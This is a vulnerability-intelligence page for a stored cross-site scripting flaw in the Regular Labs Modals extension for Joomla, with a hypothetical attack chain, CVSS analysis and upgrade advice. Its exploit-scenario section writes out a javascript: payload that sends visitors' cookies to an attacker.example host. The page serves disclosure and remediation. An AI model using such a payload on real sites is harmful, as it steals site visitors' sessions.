Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain high-privilege Joomla authoring credentials
-
DeliveryCreate or edit a modal with javascript: scheme as destination URL
-
ExploitMalicious value persisted in Joomla database
-
ExecutionVictim browses to page rendering the affected modal
-
PersistExtension emits unsanitized URL in anchor href and iframe src
-
ImpactJavaScript executes in victim's browser session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a Joomla user account with content-authoring privileges at editor level or higher (captured by PR:H in the CVSS vector), sufficient to create or edit a modal entry in the Modals extension. No non-default server configuration, special plugin mode, or additional extension feature needs to be enabled - the vulnerability is present in the default installation of both the free and pro editions. Exploitation is limited by: (1) the attacker must hold or obtain a high-privilege Joomla account; (2) the stored payload only fires when a site visitor browses to a page that renders the affected modal; and (3) Joomla deployments that restrict authoring rights exclusively to vetted internal administrators face no meaningful external threat from this flaw. |
| Impact | The CVSS 4.0 base score of 7.5 (AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L) reflects high downstream confidentiality and integrity impact but is substantially constrained by PR:H - requiring an authenticated, high-privilege Joomla authoring account. This significantly narrows the attack surface compared to unauthenticated or low-privilege stored XSS findings. The stored nature of the vulnerability elevates the downstream blast radius: once a payload is planted, it fires passively for every visitor who loads the affected page, making the victim population potentially large even though the attacker population is small. The CVSS 4.0 UI:N metric is debatable; passive page visitation by the victim is typically modeled as UI:P in CVSS 4.0, suggesting the vector mildly understates required victim interaction. No KEV listing, public exploit code, or EPSS score is available, indicating no observed mass exploitation at time of analysis. Risk is most elevated on multi-tenant Joomla installations where untrusted or externally-controlled accounts hold editor or higher roles. |
| Exploit ScenarioDerived | A Joomla editor or administrator sets a modal destination field to a javascript: payload such as javascript:fetch('https://attacker.example/c?s='+document.cookie). The Modals extension stores this value without scheme validation and emits it verbatim into the rendered page's anchor href and iframe src attributes. Every subsequent visitor who loads that page triggers the JavaScript in their own browsing session, enabling session token exfiltration or forced redirection. No public exploit code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 14, 2026
Stored cross-site scripting in the Regular Labs Modals extension for Joomla (all versions before 17.0.0) allows high-privileged content authors to inject executable browser URL schemes - such as javascript: - into modal destination fields, which the extension passes unvalidated into both the generated anchor href and the iframe source path. When any site visitor subsequently renders the affected page, the stored payload executes as JavaScript in their browser without requiring the Pro JavaScript Events feature to be enabled. No public exploit has been identified at time of analysis; the vendor-released fix is version 17.0.0.
RemediationAI
Upgrade the Regular Labs Modals extension to version 17.0.0 or later, which is the vendor-confirmed fix per https://www.regularlabs.com/. If immediate upgrade is not feasible, restrict modal content creation and editing permissions exclusively to fully trusted administrator accounts, removing authoring rights from any editor-level or externally-controlled users - this eliminates access to the injection vector while preserving site functionality. As a more disruptive fallback, disabling the Modals extension entirely on public-facing pages removes the stored payload surface at the cost of modal functionality. Generic ACL tightening has no side effects; disabling the extension will break any modals currently in use on affected pages.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected product is the Modals extension (both free and pro editions) for the Joomla CMS, developed by regularlabs.com (CPE: cpe:2.3:a:regularlabs.com:modals_(free,_pro)_extension_for_joomla:*). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - stored variant): the extension accepts a user-supplied destination URL for a modal without filtering or rejecting executable URL schemes. Browsers interpret schemes such as javascript: and data: as executable code rather than navigation targets; because the extension emits the raw value into both the rendered anchor link attribute and the iframe source attribute, a single malicious entry propagates across two distinct code paths. The flaw bypasses any reliance on the Pro JavaScript Events feature as a restriction mechanism, meaning the default configuration of the free edition is equally affected.
Know when Modals Free Pro Extension For Joomla gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/S:N/AU:N
High privilege required to author modal content (PR:H); victim's passive page visit is the trigger (UI:R); scope changes as payload executes in visitor's browser context (S:C).
Primary rating from Vendor (Joomla).
CVSS VectorVendor: Joomla
DescriptionCVE.org
Joomla Extension - regularlabs.com - Privileged stored XSS via executable URL schemes in Modals extension for Joomla < 17.0.0 - Modals treats a destination using an executable browser URL scheme as an ordinary modal URL. The value can reach both the generated link and the iframe-loading path. Authored content can consequently become JavaScript in a visitor's browser without using Modals' separate Pro JavaScript Events feature.
Executive ViewAI
The Regular Labs Modals extension for Joomla contains a stored cross-site scripting vulnerability allowing injection of malicious JavaScript into modal configurations, which executes for all website visitors when pages are viewed. Attackers exploiting this flaw could conduct phishing campaigns, steal visitor credentials, distribute malware, or cause brand damage-a significant risk for any organization relying on this extension for public-facing content.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-77312
GHSA-jrxp-wh39-qfvp
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB